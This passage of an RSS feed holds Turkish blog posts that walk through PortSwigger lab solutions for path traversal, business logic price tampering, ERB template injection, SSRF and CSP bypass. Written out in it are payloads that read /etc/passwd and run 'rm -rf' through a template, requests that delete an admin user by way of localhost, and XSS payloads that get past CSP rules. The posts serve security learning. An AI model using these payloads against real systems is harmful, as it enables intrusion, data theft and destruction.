tekrardan<strong> /etc/passwd </strong>dosyasını okumayı vermiş. Fakat ek olarak filename parametresine bir kaç validasyon yapıldığını söylemiş bizden de bu validasyonu atlatmamızı istemiş: Tekrar ürün detayına gidiyoruz ve giden istekleri yakalayıp inceliyoruz. Bu sefer filename kısmına<strong> ../../../etc/passwd </strong>yazdığımızda:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*Dap5WCI5QGJ2Wsnm" /></figure><p>Biraz önce çalışan payloadımızı tekrardan yazdığımızda<strong> “No Souch File”</strong> hatasını almaya başlıyoruz. Linux sistemlerde ana dizindeki bir file a scope almak istiyorsanız örneğin:</p><p>Biz <strong>“/var/www/images/” </strong>dizininde olalım. Ana dizine geçiş yapmak için <strong>“../../../etc/passwd”</strong> yapmamız gerekir. Fakat şuan burada Uygulama filename üzerinde dizin geçişi yapmayı engellemek için<strong> “..” </strong>yı siliyor. Ana dizine geçişin bir diğer yöntemi ise direkt olarak <strong>“/etc/passwd”</strong> olarak kullanmak. Bu da aynı şekilde ana dizin altına girmeyi sağlamaktadır. <strong>“../../../etc/passwd”</strong> olan payloadımızı <strong>“/etc/passwd”</strong> olarak değiştirdiğimizde:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/0*iWuFlUQ-jKy-S2pU" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/0*f8ujRY6Xbp5cHorF" /></figure><p>Tekrardan <strong>etc/passwd </strong>dosyasını okumuş olduk.</p><h3><strong><em>Evet arkadaşlar elimden geldiğince sizlere anlatmaya çalıştım. Herkese iyi günler. İyi okumalar.</em></strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b106cd6e20a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Business Logic Vulnerabilities]]></title>
            <link>https://erensagdicc.medium.com/business-logic-vulnerabilities-9d97586969e1?source=rss-334c482325a------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d97586969e1</guid>
            <dc:creator><![CDATA[Eren Sagdic]]></dc:creator>
            <pubDate>Sun, 07 Mar 2021 11:44:44 GMT</pubDate>
            <atom:updated>2021-03-07T11:44:44.014Z</atom:updated>
            <content:encoded><![CDATA[<p>Herkese merhabalar. Bugün sizlere <strong>Business Logic Vulnerabilities</strong> nedir onu anlatacağım.</p><p>Öncelikle <strong>Business Logic</strong> yani <strong>İş Mantığı</strong> nedir onu bir anlatayım.</p><p><strong>Business Logic</strong> kısaca uygulamadaki veri işleme ve yorumlama kurallarına verilen genel isimdir.</p><p>Ufak bir örnekle açıklayacak olursak:</p><p>Bir araba yaptıracağınızı varsayalım. Bu arabayı yapacak olan mühendislere örneğin arabanın 6 vitesi olacak yani 7. vitese çıkamayacak. Tekerlikler 120 derece dönebilecek daha fazla dönemeyecek. Hız sınırı 150 olacak daha fazla hızlanamayacak. Gibi talimatlar verdiğinizde, bu isteklerinizin bütününe verilen isim Business Logic oluyor.</p><p>Şimdi Business Logic Zafiyetlerinin temel mantığını kavramaya çalışalım.</p><p><strong><em>Business Logic Zafiyetleri:</em></strong></p><p>Son kullanıcının, sizin kurgulamış olduğunuz uygulamanın kurgusundaki hatalardan yola çıkarak yapmış olduğunuz Business Logic tarafında aslında istenmeyen davranışları sergilemesine olanak sağlayan hatalardır. Örneğin yapmış olduğumuz hatalardan dolayı arabamızın 150 km/s değil de 180 km/s hıza çıkması, tekerleklerinin 120 derece değil de 150 dereceye kadar dönmesi bir Business Logic hatasıdır.</p><p>Web dünyasında Business Logic Zafiyetlerinin oluşmasındaki temel sebeplerden biri de normal kullanımda ortaya çıkmalarının zor olmasından ve kullanıcı girdilerinin gerekli validasyonlardan geçmemesinden kaynaklıdır. Yani bir ürünün fiyatını client tarafından alırsanız normal bir kullanıcının bunu farketmesi pekte mümkün değildir.</p><p>Fakat bir saldırgan proxy kullanarak bu isteğin arasında girip, ürünün fiyatında düzenleme yapabilir. Business Logic hataları çok komplike sistemlerde daha fazla gözükür.</p><p>Business Logic Zafiyetlerinin etkileri çok geniş bir yelpazede yayılır. Bazı Business Logic Açıkları önemsiz olabilir fakat potansiyel açıdan uygulamanın işleyişini tamamiyle değiştirip çok kritik güvenlik açıklarına sebebiyet verebilir.</p><p>Şimdi örnek bir laboratuvar çözerek BL Zafiyetlerini daha iyi anlamaya çalışalım.</p><p><strong><em>BL Vulnerabilities Örneği:</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/0*xcH2dgDza3ohrqN5" /></figure><p>Öncelikle bizden ne istediğini öğrenelim.</p><p>Burada kullanıcıdan gelen datanın iyi bir şekilde valide edilmediğini söylüyor. Bundan yararlanarak <strong>“Lightweight l33t leather jacket”</strong> isimli ürünü almamızı istiyor. <strong>wiener:peter </strong>kullanıcısı ile giriş yapabileceğimizi söylüyor. Hadi labı başlatalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*twVJUWKgQgx5Qa99" /></figure><p>Labı başlattığımızda bizi böyle bir ekran karşılıyor. Şimdi wiener kullanıcısı ile giriş yapalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XOAWcbkluxWWkhex" /></figure><p>Evet bize vermiş olduğu kullanıcı parolası ile giriş yapıp, bizden satın almamızı istediği ürünün detayına girdik.</p><p>Öncelikle bizim $100.00 ımız var. Fakat satın almamız gereken ürün $1337.00 yani yeterli paramız yok. Şimdi ürünü sepete ekleyelim. Fakat şu andan itibaren giden isteklerin hepsini <strong>Burp Suite </strong>yardımıyla yakalayıp inceleyeceğim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W8g_pJzwYHgxmyCq" /></figure><p>evet sepete eklemek istediğimizde <strong>Client Side</strong> den <strong>Server Side</strong> ye ürünün miktarı, ürün id si, ve ürün fiyatı gidiyor. Biz bu isteği göndermeden önce eğer ürün fiyatını 1 yaparsak ve bu <strong>Client Side</strong> den gelen price gerekli validasyonlardan geçilmiyorsa ürün sepette 1 dolar olarak gözükecek ve biz bu ürünü satın alabileceğiz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5Uja48Mrxd3NLo1D" /></figure><p>Evet tahmin ettiğimiz gibi ürün fiyatı $0.01 oldu. Şimdi ürünü satın alıp diğer labımıza geçelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V3EAh1BfJPoPD6Jo" /></figure><p>Öncelikle bu gerçekten çok basit bir labdı. Fakat temel olarak <strong>BL Vuln </strong>mantığını anlamamız için çözmek istedim. Şimdi diğer labımıza geçelim.</p><p>İkinci labımızı da başlattığımızda temel olarak her şeyin aynı olduğunu görüyoruz. Task olarak tekrardan “Lightweight l33t leather jacket” isimli ürünü almamızı istiyor.</p><p>Ürünün detay kısmına gelip karta ekle dediğimiz zaman bu sefer price kısmına bizden almadığını görüyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3TTgBhtbdbZlOvt7" /></figure><p>Devam edelim. Ürünü sepete eklediğimizde miktar arttırıp azaltma yerleri var.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/0*FC9ZRlq8n3CkVV6n" /></figure><p>Tıklayıp giden requesti yakalayalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/0*GMPb8XDDdaFxv7DP" /></figure><p>Client tarafından giden istek bu şekilde. Giden istekteki quantity kısmını -20 yaptığım zaman garip bir durum oluşuyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/0*gnuKuRwYFX89hfow" /></figure><p>Miktar 0 ın altına düşüyor ve total price da onunla beraber. Aslında şuan alışverişi tamamlayabiliriz fakat üründen — 19 tane aldığımızda elimize 0 tane geçeceği için farklı bir ürün ekleyip o ürünün miktarını — ye düşüreceğim.</p><p>Ve evet Bingo !!!!</p><p>Sepet toplamı bizim cüzdan miktarımızdan az ve istediğimiz üründen en az 1 tane sahibiz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/0*88CmlirL_Fuo1Pyu" /></figure><p>Şimdi alışverişi tamamlayalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H2TAY-157YazN87-" /></figure><p>Evet arkadaşlar elimden geldiği kadar sizlere Business Logic Vulnerabilities nedir nasıl sömürülür konusunu anlatmaya çalıştım. Umarım faydalı olmuştur. Herkese iyi günler iyi okumalar.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d97586969e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server Side Template Injection (SSTI)]]></title>
            <link>https://erensagdicc.medium.com/server-side-template-injection-ssti-deac1f8c4154?source=rss-334c482325a------2</link>
            <guid isPermaLink="false">https://medium.com/p/deac1f8c4154</guid>
            <category><![CDATA[template-injection]]></category>
            <category><![CDATA[ssti]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Eren Sagdic]]></dc:creator>
            <pubDate>Thu, 04 Mar 2021 21:10:34 GMT</pubDate>
            <atom:updated>2021-03-04T21:10:34.684Z</atom:updated>
            <content:encoded><![CDATA[<p>Herkese Merhabalar</p><p>Bugün sizlere Server Side Template Injection (SSTI) zafiyetini anlatmaya çalışacağım.</p><p>Öncelikle SSTI nedir sorusunu cevaplayalım:</p><p>Günümüzde artık Web App lerin yapıları biraz daha farklı haller almakta. MVC yapıları, Frameworkler ve Template Engine ler günümüzde sıkça kullanılan materyallerdir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/0*s9vzVofulLWJmcPb" /></figure><p>SSTI ı açıklarken örneklendirerek açıklamak istiyorum.</p><p>Örneğin Laravel Frameworkünü ve Template engin olarak da Blade kullandığımızı düşünelim.</p><p>UserProfileController.php diye bir controller imiz var ve bu controllerimizin</p><p>returnUserEmailView() diye bir metodu var. Bu metod ise userProfile viewini ekranda gösteriyor ve bu view e kullanıcıdan almış olduğu $userEmail değişkenini gönderiyor.</p><p>UserProfileController.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/0*fF8dVIFxNL2JgrrQ" /></figure><p>Şimdi burada eğer kullanıcıdan gelen $userEmail değişkenine gerekli validasyonlar yapılmazsa ne olur? Biz email yerine Blade Template nin kullanabildiği php fonksiyonlarını çağırabiliriz ve ortaya bir Remote Code Execution (RCE) çıkmış olur.</p><p>userProfile.blade.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/0*isWWFLgAl53hTOoa" /></figure><p>Zafiyetin temel noktası buradan oluşmakta.</p><p>SSTI Zafiyet Örneği:</p><p>Öncelikle bu örneği PortSwigger in web-security acedemy sindeki SSTI labından çözeceğim.</p><p>Proxy olarak da Burp Suite kullanacağım.</p><p><strong>PortSwigger Acedemy</strong>: <a href="https://portswigger.net/web-security/">https://portswigger.net/web-security/</a></p><p>Çok faydalı bir akademi hem eğitimler hem de lablar var. Şiddetle tavsiye ederim.</p><p>Geçelim örneğimize:</p><p>Öncelikle bizden ne istediğini anlayalım:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/0*5r9ebiLOo5QNHxdW" /></figure><p>Evet burada bize ERB Template ini kullanan bir web uygulama olduğunu söylüyor. Bunu söylemesi bizim için çok önemli çünkü bazı durumlarda template nin view kısmında açılış taglarını tahmin etmemiz gerekiyor. Örneğin {{blade}}, {smarty} gibi çoğu templatenin kendine özgü açılış tagları var.</p><p>Şimdi ERB Template inin dökümanına gittiğimizde Ruby nin view enginesi olduğunu öğreniyoruz ve açılış taglarının da &lt;%= ERB %&gt; olduğunu görüyoruz. Evet devam edelim. Bize task olarak da Carlos un home dizinindeki morale.txt dosyasını silmemizi söylüyor.</p><p>Evet şimdi zafiyeti sömürmeye başlayalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Uu8eAJm8PXcl8a6h" /></figure><p>Labı başlattığımızda bizi böyle bir ekran karşılıyor. Aynı zamanda Burp Suite miz de aktif giden istekleri yakalıyor. Şimdi zafiyeti aramak için biraz sistemde dolanıyoruz.</p><p>Product un View Details kısmına geldiğimiz zaman Clientimizden böyle bir request gidiyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/0*ynDe--YqKdMeyLQ9" /></figure><p>Rahat çalışabilmek adına CTRL+R yaparak Repeater e gönderiyorum burp üzerinde.</p><p>Burada product endpointine giderken bizden productId diye bir parametre alıyor.</p><p>orada 3 yazan yere sql injection zafiyeti arar gibi 3’ yazdığımda:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/0*csY804cMvrPvp0TV" /></figure><p>böyle bir response ile karşılaşıyorum. Yani burada productId parametresine validasyonlar yapılıyor demektir.</p><p>Aynı şekilde 3 yazan yere 123 yazdığımda ise:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/0*pSFqqUFQQ7WbAcLh" /></figure><p>Not Found hatası alıyorum. Peki şimdi şu an bir yere varamamış olabiliriz.</p><p>Şimdi 3 yazan yere 1 yazarsak garip bir şey farkediyoruz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Pd_Njx1Y-9pJggrf" /></figure><p>302 redirect ile karşılaştık</p><p>Follow request dediğimiz zaman ise:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/0*M3zmz2SIN7axtbVn" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/0*5WlTQY88H9KwvcQt" /></figure><p>Bizden aldığı message parametresini ekrana direkt yazdırıyor. Yani biz “Unfortunately …” diye başlayan yere ne yazarsak ekrana onu bastıracak. Şimdi bura kafamıza daha iyi yatması için backend kodunu biraz tahmini bir şekilde sizlere göstermek istiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/0*vJfVy5IgN62ckZX1" /></figure><p>Malesef ruby bilmediğim için php üzerinden anlatacağım burayı. Şimdi normalde bir değişkeni view e return edip o değişkeni bir html in içinde kullanırsın. Fakat burada direkt olarak dinamik bir html betiği var. Yani html in kendisi backend tarafından dinamik olarak gelmekte.</p><p>Burada biz message parametresiyle gelen error mesajımızı {{5*5}} diye değiştirirsek ne olur?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/0*lX2fQQib_0wfNM-x" /></figure><p>şöyle bir kod betiği ortaya çıkmış olur. Blade Template de {{ 5*5 }} ‘ i render edeceği için orada:</p><p>Email Adresiniz : 25</p><p>Olarak gözükecektir.</p><p>Fakat biz orada {{ 5*5 }} yerine {{ phpinfo() }} yazarsak ne olur? Eğer Blade Template in içinde php kodu çalıştırabiliyorsak yani templatenin böyle bir özelliği varsa eğer ekrana phpinfo yu basacaktır. Şimdi burası anlaşıldıysa laba geri dönüyorum.</p><p>Bizim ERB deki tag açıp kapama tagımız. &lt;%= ERB %&gt; olduğu için ben o mesaj kısmına:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*62MVczN9xv5oIqVl" /></figure><p>böyle bir istek atarsam</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/0*VuO3KTO3XYSSupXl" /></figure><p>Bingooo!!! Artık ERB Templatenin yapabildiği her şeyi yapabiliyoruz. Şimdi erb de os komutları çalıştırabiliyor muyuz ona bakalım.</p><p>Eveet ERB içinde direkt Ruby kodları çalıştırabiliyoruz. Yani biz oraya</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/0*0L7ihcZE4IMlw0iF" /></figure><p>yazarsak:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/0*JEiLixO0vJTrIRf3" /></figure><p>Evet system komutu çalıştı şimdi ls yazan yere system(‘rm%20-rf%20morale.txt’) yazarsak :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/0*duXfxvKvWDvQCpX3" /></figure><p>Ve evet labımızı Çözmüş olduk.</p><p>Vakit ayırıp okuduğunuz için çok teşekkür ederim. Herkese iyi günler.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=deac1f8c4154" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server Side Request Forgery (SSRF) Nedir ?]]></title>
            <link>https://erensagdicc.medium.com/server-side-request-forgery-ssrf-nedir-5b759920e2fc?source=rss-334c482325a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b759920e2fc</guid>
            <category><![CDATA[server-request-forgery]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[Eren Sagdic]]></dc:creator>
            <pubDate>Thu, 04 Mar 2021 21:06:34 GMT</pubDate>
            <atom:updated>2021-03-04T21:06:34.590Z</atom:updated>
            <content:encoded><![CDATA[<h3>Server Side Request Forgery (SSRF) Nedir ?</h3><p>Herkese Merhabalar</p><p>Öncelikle SSRF nedir sorusunu cevaplayalım.</p><p><strong>SSRF: </strong>Bir Web Applicationun dışarıdan erişimi olmayan internal sistemler veya farklı bir sistem ile haberleşmesinin sonucunda gerekli validasyonların yapılmamasından kaynaklı dışarıdan erişimi olmayan internal sistemlere erişimi sağlayan zafiyettir.</p><p>Yani biraz daha açmak için biraz sonra çözeceğim labı sizler için hikayeleştirmek istiyorum.</p><p>Ortada bir E-Ticaret Uygulamamız var. Bu E-ticaret uygulamasının yönetim paneline sadece local ağdan erişim sağlanabiliyor. Yani dışarıdan herhangi bir erişim söz konusu değil. Aynı zamanda bu E-Ticaret uygulaması 3. parti bir api ile haberleşiyor olsun. Örneğin bir ürünün stok kontrolünü yapmak için apinin stok kontrol için olan endpointine istek atıyor. Fakat bu istek client side dan yapılıyor. Yani kullanıcı bir proxy aracı ile bu isteği yakalayabilir ve kendi istediği bir şekilde değiştirebilir. Biz bu 3. parti api nin endpointine gitmesi gereken isteği sadece yerel ağdan bağlanılabilen yönetim paneline gönderirsek istek local ağda bulunan sistemden çıkacağı için herhangi bir problem ile karşılaşılmadan istediğimiz yere gidecek ve bize response olarak dönecek. Zafiyetin temel mantığı bu şekilde. Şimdi örneğe geçmek istiyorum.</p><p>SSRF Zafiyet Örneği:</p><p>Öncelikle bu örneği PortSwigger in web-security acedemy sindeki ssrf labından çözeceğim.</p><p>Proxy olarak da Burp Suite kullanacağım.</p><p><strong>PortSwigger Acedemy:</strong> <a href="https://portswigger.net/web-security/">https://portswigger.net/web-security/</a></p><p>Çok faydalı bir akademi hem eğitimler hem de lablar var. Şiddetle tavsiye ederim.</p><p>Geçelim örneğimize:</p><p>Öncelikle bizden ne istediğini anlayalım:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/0*mGCXs6zlIeuSmfxW" /></figure><p>Dahili bir apiden stok kontrolü yapan bir apiye sahipmiş ve labı çözmemiz için <a href="http://localhost/admin"><strong>http://localhost/admin</strong></a> ‘ e gidip carlos kullanacısını silmemiz gerekiyormuş.</p><p>Labı başlatalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C-ggW02B3ryNp3J3" /></figure><p>Bizi böyle bir ekran karşılıyor. Şimdi ipucu kısmında bize stok kontrolü yapılan bir yer olduğunu söylemişti. Onun için ürünün detayına gidiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FH4C0tD1POagDi-D" /></figure><p>ve evet. Gördüğümüz gibi stok kontrol kısmı burada. Şimdi hemen stok kontrol’ü yapıp giden isteği kontrol edelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*N_mueAwkChCyKiT8" /></figure><p>Burada gördüğümüz gibi klasik bir post requesti var. Burada gerçekleştirilen olaylar şu şekilde işliyor :</p><p>-Öncelikle Client tarafı Check Stock endpointine bir istek atıyor.</p><p>-Server Side da bu istek alınıyor ve Server sanki bir proxymiş gibi post datadan gelen url ye istek atıyor</p><p>-ve dönen cevabı tekrardan Client tarafına response olarak döndürüyor.</p><p>Fakat biz burada müdahele edebildiğimiz stockApi endpointine bu işleyiş sırasında <a href="http://localhost/">http://localhost</a> /admin verirsek ne olur ?</p><p>Sadece yerel ağdan bağlantılara izin verilen bu adrese gene aynı ağda olan Server side tarafından istek atılacağı için hiçbir problem olmadan o istek yerine ulaşacak ve bize <a href="http://localhost/admin">http://localhost/admin</a> ‘i geri dönecektir.</p><p>İşleme devam edelim:</p><p>Şimdi isteği daha rahat çalışabilmek için CTRL+R ile Repeatere atıyorum burp tarafında.</p><p>ve giden stockApi parametresini <a href="http://localhost/admin">http://localhost/admin</a> olarak değiştiriyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/0*6mNEEBMtZvAirsga" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/0*uJIme34TwMvF2yM0" /></figure><p>ve evet BİNGOO !!!</p><p>Aynı ağda olmadığımız için ulaşamadığımız <a href="http://localhost/admin">http://localhost/admin</a> e SSRF kullanarak erişim sağladık. Şimdi dönen response yi incelediğimizde bize verilen carlos kullanıcısı silmek için kullanılan bir endpoint olduğunu görüyoruz.</p><p>Şimdi tekrar SSRF kullanarak carlos kullanıcısını silen endpointe istek atıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/0*7hMiByvLPN5XPfXl" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/0*tODiEQPtGYp4Re3H" /></figure><p>Ve evet labımızı Çözmüş olduk.</p><p>Okuduğunuz için çok teşekkür ederim. Herkese iyi günler.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b759920e2fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Content Security Policy (CSP) Bypass]]></title>
            <link>https://erensagdicc.medium.com/content-security-policy-csp-bypass-ad8e404528d4?source=rss-334c482325a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad8e404528d4</guid>
            <category><![CDATA[csp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[content-security-policy]]></category>
            <dc:creator><![CDATA[Eren Sagdic]]></dc:creator>
            <pubDate>Thu, 04 Mar 2021 20:59:27 GMT</pubDate>
            <atom:updated>2021-03-04T20:59:27.457Z</atom:updated>
            <content:encoded><![CDATA[<p>Herkese Merhablar</p><p>Öncelikle Content Security Policy (CSP) nedir onu bir anlayalım.</p><p>Örneğin web uygulamamızda yüklemiş olduğumuz js css dosyalarımız, kullanıcıdan almış olduğumuz girdilerimiz gibi veri ve sistemler bizim uygulamamızın contextinde çalışır.</p><p>CSP bazı browserların (çoğu) desteklediği, Xss gibi zafiyetleri engellemek için kullanılan ek güvenlik katmanı, bir dizi kural tanımları dır.</p><p>CSP’de kural tanımlarken whitelist denen bir olay kullanılır. Nedir bu Whitelist ?</p><p>Whitelist’te sistemimize, sadece bizim kullanmak istediğimiz kaynaklarımızı tanımlayabiliriz.</p><p>Bu şekilde harici bir kaynak girişine CSP engel olacaktır. Bu kaynaklarıda HTTP Header da belirtmek gerekiyor.</p><p>Örn :</p><p><strong>Content-Security-Policy : script-src ‘self’ https:://cdnjs.cloudflare.com/;</strong></p><p><strong>Content-Security-Policy : kontrol edilecek durum — değerler</strong></p><h3><strong><em>CSP Parametreleri:</em></strong></h3><blockquote><strong>base-uri</strong>: Base elementi, sayfadaki tüm relative URL’lerin kendisine çözümleneceği absolute URL’i belirten bir değerdir. &lt;base&gt; element’inde kullanılacak değer ile ilgili kısıt tanımlamamıza yardımcı olur. Böylece <em>Base Tag Hijacking</em> saldırıları engellenebilir.</blockquote><blockquote><strong>child-src:</strong> Deprecated olan frame-src yerine kullanılır. Sayfaya embed edilecek olan framelerin alabileceği kaynak değerleri tanımlar. Sayfamızı <em>Frame</em> Injection saldırılarına karşı koruyabilmek için, ek bir tedbir olarak kullanabiliriz.</blockquote><blockquote><strong>connect-src</strong>: XHR, WebSockets, EventSource ile bağlanılabilecek kaynakları kısıtlar.</blockquote><blockquote><strong>font-src</strong>: Fontların yüklenebileceği kaynakları belirtir.</blockquote><blockquote><strong>form-action</strong>: Form tagları için geçerli action’ları belirtir.</blockquote><blockquote><strong>frame-ancestors</strong>: Mevcut sayfayı <em>frame, iframe, embed</em> ve <em>applet</em> olarak yükleyebilecek kaynakları belirtir. <em>X-Frame-Options</em>’ın muadilidir. Clickjacking vb UI Redressing saldırılarını engellememize yardımcı olur.</blockquote><blockquote><strong>frame-src</strong>: Deprecate edilmiş bir özelliktir. Bunun yerine child-src kullanılabilir.</blockquote><blockquote><strong>img-src:</strong> Resimlerin yüklenebileceği kaynakları tanımlar.</blockquote><blockquote><strong>media-src: </strong>Video ve ses yüklenebilecek kaynakları tanımlar/kısıtlar.</blockquote><blockquote><strong>object-src:</strong> Flash ve diğer plugin’lerin yükleneceği kaynakları tanımlar/kısıtlar.</blockquote><blockquote><strong>plugin-types:</strong> Yüklenebilecek plugin tiplerinini belirler/limitler.</blockquote><blockquote><strong>report-uri:</strong> CSP’nin ihlal edildiği durumda, raporun gönderileceği adresi belirtir.</blockquote><blockquote><strong>style-src: </strong>Stil dosyaları için kaynak tanımlaması/kısıtlaması yapar.</blockquote><blockquote><strong>upgrade-insecure-requests: </strong>HTTP isteklerini HTTPs olarak değiştirir.</blockquote><h3><strong>Bir de CSP analizi için:</strong></h3><p><em>1. https://csp-evaluator.withgoogle.com/</em></p><p><em>2. https://cspvalidator.org/</em></p><p>siteleri çevrimiçi olarak kullanılabilirler.</p><p>Temel olarak Content Security Policy (CSP) nedir sorusunu biraz da olsa hallettiğimizi düşünüyorum.</p><p>Şimdi gelelim bypass kısmına.</p><p><strong>Content Security Policy Bypass:</strong></p><blockquote>CSP =&gt; Content-Security-Policy: script-src <a href="https://google.com/">https://google.com</a> ‘unsafe-inline’ <a href="https://*;/">https://*;</a></blockquote><blockquote>child-src ‘none’;</blockquote><blockquote>report-uri /Report-parsing-url;</blockquote><blockquote>Böyle bir CSP ile karşılaştığımız zaman kullanabileceğimiz payload</blockquote><blockquote>Payload =&gt; “/&gt;&lt;script&gt;alert(1);&lt;/script&gt;</blockquote><blockquote>İkinci Örnek olarak CSP ‘unsafe-eval’ senaryosunu baz alalım.</blockquote><blockquote>CSP =&gt; Content-Security-Policy: script-src <a href="https://google.com/">https://google.com</a> ‘unsafe-eval’ data: <a href="http://*;/">http://*;</a></blockquote><blockquote>child-src ‘none’;</blockquote><blockquote>report-uri /Report-parsing-url;</blockquote><blockquote>Payload =&gt; &lt;script src=”data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==”&gt;&lt;/script&gt;</blockquote><blockquote>Üçüncü örnek CSP Object-src ve default-src eksikliği ni baz alalım.</blockquote><blockquote>CSP =&gt; Content-Security-Policy: script-src ‘self’</blockquote><blockquote>report-uri /Report-parsing-url;</blockquote><blockquote>Payload =&gt; “&gt;’&gt;&lt;object type=”application/x-shockwave-flash” data=’https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\”})))}catch(e) {alert(1337)}//’&gt;&lt;param name=”AllowScriptAccess” value=”always”&gt;&lt;/object&gt;</blockquote><blockquote>Son olarak CSP File Upload ‘self’ i baz alalım.</blockquote><blockquote>CSP =&gt; Content-Security-Policy: script-src ‘self’;</blockquote><blockquote>object-src ‘none’ ;</blockquote><blockquote>report-uri /Report-parsing-url;</blockquote><blockquote>Payload =&gt; “/&gt;’&gt;&lt;script src=”/user_upload/mypic.png.js”&gt;&lt;/script&gt;</blockquote><p>Dip not olarak: Bu payloadlar güvenlik açığı bulunup uygun CSP ile Filtrelenmeye çalışılan yerler içindir.</p><p>Herkese iyi günler iyi çalışmalar.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad8e404528d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>